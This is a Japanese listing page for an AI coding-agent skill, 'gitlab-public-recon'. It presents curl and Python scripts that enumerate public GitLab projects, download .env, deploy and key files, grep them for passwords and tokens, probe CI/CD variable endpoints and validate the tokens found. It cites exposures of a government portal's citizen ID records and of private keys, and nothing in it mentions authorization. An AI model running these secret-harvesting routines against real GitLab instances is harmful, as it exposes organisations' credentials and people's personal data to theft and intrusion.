mcpField
G
gitlab-public-recon

gitlab-public-recon

github.com/uphiagoセキュリティ1.3k40 回インストール8 週間前に更新
リポジトリ

gitlab-public-recon について

公開 GitLab プロジェクトを列挙し、リポジトリの内容、CI/CD の詳細、露出した設定を調べるセキュリティ調査スキルです。アクセス可能な GitLab インスタンスの評価を対象とし、発見事項の確認手順も含みます。

主な機能

  1. 01公開プロジェクトの列挙
  2. 02リポジトリファイルとコミット履歴の取得
  3. 03CI/CD 定義とジョブ詳細の調査
  4. 04登録状態と公開アクセスの確認
  5. 05発見したシークレットの検証ガイダンス

活用シーン

  1. 01発見した GitLab インスタンスの公開プロジェクト調査
  2. 02ソースファイルに露出した設定の確認
  3. 03CI/CD パイプラインの成果物と履歴の調査
  4. 04露出した認証情報が有効かどうかの確認

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/uphiago/recon-skills --skill gitlab-public-recon

インストール後、Claude Code で/gitlab-public-reconを入力して読み込まれたか確認します。

詳細

GitLab 公開情報偵察スキル

公開アクセス可能な GitLab リポジトリを列挙し、ソースコード、認証情報、内部 IP、CI/CD トークン、デプロイ設定、環境ファイルを抽出します。ユーザー登録が有効な GitLab インスタンスや公開設定のインスタンスでは、開発インフラ全体が公開されます。gov-finance-portal(公開リポジトリ 3 件、CPF 461K 件、内部 IP 10.11.82.75、CI/CD トークン)、dev-agency(SSL 秘密鍵を含む GitLab)、fitness-chain(リポジトリ内の Firebase SA キー)で確認済みです。

使用する場面

  • 対象に gitlab. サブドメインまたはセルフホストの GitLab インスタンスがある場合。
  • crt.sh に証明書内の gitlab.target.com が表示される場合。
  • subdomain-enumeration で GitLab ホストが見つかった後。
  • js-secrets-extraction で GitLab CI/CD への参照が見つかった後。
  • 対象が政府機関または大企業の場合(セルフホストの GitLab を利用していることがよくあります)。

前提条件

  • curl、python3、jq を備えた terminal。
  • GitLab URL(例:https://gitlab.target.com)。
  • GitLab API は、公開リソースであれば認証なしでアクセスできます。

実行方法

# List public projects
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.TARGET.com/api/v4/projects?visibility=public&per_page=100" | jq '.[].path_with_namespace'

# Read a file from a public repo
curl --max-time 30 --connect-timeout 10 -sk "https://gitlab.TARGET.com/api/v4/projects/GROUP%2FPROJECT/repository/files/PATH/raw?ref=main"

クイックリファレンス

API エンドポイント返される内容リスク
/api/v4/projects?visibility=publicすべての公開プロジェクト情報
/api/v4/projects/:id/repository/treeディレクトリ一覧高
/api/v4/projects/:id/repository/files/:path/raw?ref=:branchファイルの生データ重大
/api/v4/projects/:id/repository/commits作成者を含むコミット履歴中
/api/v4/projects/:id/variablesCI/CD 変数(管理者のみ)重大
/api/v4/projects/:id/jobsCI/CD ジョブ履歴中
/users/sign_upユーザー登録の開放状況重大
/explore公開プロジェクトの閲覧情報

手順

フェーズ 1 — GitLab インスタンスを発見し、公開アクセスを確認する
TARGET="$1"
OUTDIR="$OUTDIR/gitlab"
mkdir -p "$OUTDIR"

echo "[*] GitLab recon on $TARGET"

# Check if GitLab is accessible
MAIN_PAGE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/" 2>/dev/null)
if echo "$MAIN_PAGE" | grep -qi "gitlab"; then
  echo "[+] GitLab confirmed"
elif echo "$MAIN_PAGE" | grep -qi "sign_in\|sign_up\|explore/projects"; then
  echo "[+] GitLab confirmed (page content)"
else
  echo "[-] May not be GitLab — probing API..."
fi

# Check API version
API_VER=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/api/v4/version" 2>/dev/null | python3 -c "import sys,json; d=json.load(sys.stdin); print(f'{d.get(\"version\",\"?\")} rev {d.get(\"revision\",\"?\")[:8]}')" 2>/dev/null)
[[ -n "$API_VER" ]] && echo "  GitLab version: $API_VER"

# Check if registration is open
REG_CODE=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET/users/sign_up" 2>/dev/null)
[[ "$REG_CODE" == "200" ]] && echo "  [!] Registration OPEN — anyone can create accounts"
フェーズ 2 — 公開プロジェクトを列挙する
TARGET="$1"

echo "[*] Enumerating public projects..."

PAGE=1
TOTAL_PROJECTS=0

while true; do
  PROJECTS=$(curl -sk --max-time 15 --connect-timeout 10 "https://$TARGET/api/v4/projects?visibility=public&per_page=100&page=$PAGE" 2>/dev/null)

  count=$(echo "$PROJECTS" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)
  if [[ "$count" -eq 0 ]]; then break; fi

  # Extract project names and save
  echo "$PROJECTS" | python3 -c "
import sys, json
projects = json.load(sys.stdin)
for p in projects:
    print(f'{p[\"id\"]} | {p[\"path_with_namespace\"]} | stars={p.get(\"star_count\",0)} | forks={p.get(\"forks_count\",0)} | last_activity={p.get(\"last_activity_at\",\"?\")[:10]}')
" 2>/dev/null | tee -a "$OUTDIR/projects.txt"

  TOTAL_PROJECTS=$((TOTAL_PROJECTS + count))
  PAGE=$((PAGE + 1))
  [[ $PAGE -gt 20 ]] && break  # Safety limit
done

echo "[+] Total public projects: $TOTAL_PROJECTS"
フェーズ 3 — ソースコードとシークレットを抽出する
TARGET="$1"
PROJECT_ID="$2"   # from projects.txt enumeration
OUTDIR="$OUTDIR/gitlab"

echo "[*] Extracting from project ID: $PROJECT_ID"

# Get project details
DETAILS=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID" 2>/dev/null)
PRJ_NAME=$(echo "$DETAILS" | python3 -c "import sys,json; print(json.load(sys.stdin).get('path_with_namespace','unknown'))" 2>/dev/null)
echo "  Project: $PRJ_NAME"

# Get repository file tree (top-level)
TREE=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/tree?recursive=true&per_page=100" 2>/dev/null)
echo "  Files in repo: $(echo "$TREE" | python3 -c "import sys,json; print(len(json.load(sys.stdin)))" 2>/dev/null)"

# Hunt for sensitive files
SENSITIVE_PATTERNS=(
  ".env" ".env.example" ".env.production" ".env.local"
  "docker-compose.yml" "docker-compose.prod.yml" "Dockerfile"
  ".gitlab-ci.yml" "deploy.sh" "deploy.yml"
  "credentials.json" "service-account.json" "*.pem" "*.key"
  "config/database.yml" "config/secrets.yml"
)

echo "[*] Hunting sensitive files..."

echo "$TREE" | python3 -c "
import sys, json, re

files = json.load(sys.stdin)
sensitive = ['.env', 'docker-compose', 'deploy', '.gitlab-ci.yml', 'credentials',
             'service-account', '.pem', '.key', 'secret', 'password', 'token',
             'database.yml', 'secrets.yml', 'backup', 'dump']

for f in files:
    name = f['name'].lower()
    path = f['path'].lower()
    if any(s in name or s in path for s in sensitive):
        print(f'  {f[\"type\"]:4s} {f[\"path\"]}')
" 2>/dev/null

# Download specific sensitive files
echo "[*] Downloading key files..."

for file_path in ".env" ".env.example" "docker-compose.yml" ".gitlab-ci.yml" "deploy.sh"; do
  ENCODED_PATH=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$file_path', safe=''))")
  content=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/$ENCODED_PATH/raw?ref=main" 2>/dev/null)

  if [[ -n "$content" ]] && ! echo "$content" | grep -q "404 File"; then
    echo "$content" > "$OUTDIR/${PRJ_NAME//\//_}_${file_path//\//_}"
    echo "  [+] Downloaded: $file_path (${#content} bytes)"

    # Quick secret scan
    if echo "$content" | grep -qiE "password|secret|token|key|database|redis|mysql|api_key"; then
      echo "    [!] POTENTIAL SECRETS FOUND"
      echo "$content" | grep -iE "password|secret|token|key" | head -5
    fi
  fi

  # Also try 'master' branch
  if [[ -z "$content" ]] || echo "$content" | grep -q "404 File"; then
    content=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/$ENCODED_PATH/raw?ref=master" 2>/dev/null)
    if [[ -n "$content" ]] && ! echo "$content" | grep -q "404 File"; then
      echo "  [+] Downloaded (master): $file_path"
    fi
  fi
done
フェーズ 4 — CI/CD トークンと変数を抽出する
TARGET="$1"
PROJECT_ID="$2"

echo "[*] CI/CD analysis..."

# Get .gitlab-ci.yml (pipeline definition)
CI_CONTENT=$(curl -sk --max-time 10 --connect-timeout 10 "https://$TARGET/api/v4/projects/$PROJECT_ID/repository/files/.gitlab-ci.yml/raw?ref=main" 2>/dev/null)
if [[ -n "$CI_CONTENT" ]] && ! echo "$CI_CONTENT" | grep -q "404"; then
  echo "  [+] .gitlab-ci.yml found"

  # Extract CI/CD variables and tokens
  echo "$CI_CONTENT" | grep -Eo '\$\{[A-Z_]+\}|$[A-Z_]+' | sort -u | while read var; do
    echo "    CI Variable: $var"
  done

  # Check for runner registration tokens
  echo "$CI_CONTENT" | grep -iE "token|secret|password|credential" | head -5
fi

# Try to access CI/CD variables (requires admin token — rare but worth trying)
VARS=$(curl -sk --max-time 5 --connect-timeout 5 "https://$TARGET/api/v4/projects/$PROJECT_ID/variables" 2>/dev/null)
if echo "$VARS" | grep -qi "key\|value"; then
  echo "  [CRITICAL] CI/CD variables accessible without admin token!"
  echo "$VARS" | python3 -m json.tool 2>/dev/null | head -30
fi

注意点

  • レート制限。 GitLab API にはレート制限があります(通常は 1 分あたり 300~600 リクエスト)。--max-time と待機時間を使用してください。
  • ファイルパスのエンコード。 パス内の特殊文字は URL エンコードする必要があります(/ → %2F、. → %2E)。
  • デフォルトブランチが main とは限りません。 ファイルにアクセスする際は、main、master、develop を試してください。
  • 大きなファイルは途中で切り詰められることがあります。 API がレスポンスサイズを制限する場合があります。ユーザー登録が開放されている場合は、全データにアクセスするために git clone を使用してください。
  • GitLab の認証。 公開リポジトリには認証なしでアクセスできます。プライベートリポジトリは 404 を返します。

検証

  • 公開プロジェクトを /api/v4/projects?visibility=public から列挙できる必要があります。
  • 機密ファイルを raw エンドポイントからダウンロードでき、実際の認証情報や設定(テンプレートではない)が含まれている必要があります。
  • 見つかった内部 IP やドメイン名が、対象のインフラであることを確認する必要があります。
  • 見つかった CI/CD トークンの有効性をテストする必要があります(例:runner トークンを使った GitLab API アクセス)。
  • ユーザー登録が開放されている場合、誰でもアカウントを作成し、さらに多くのリソースにアクセスできる可能性があります。

コメント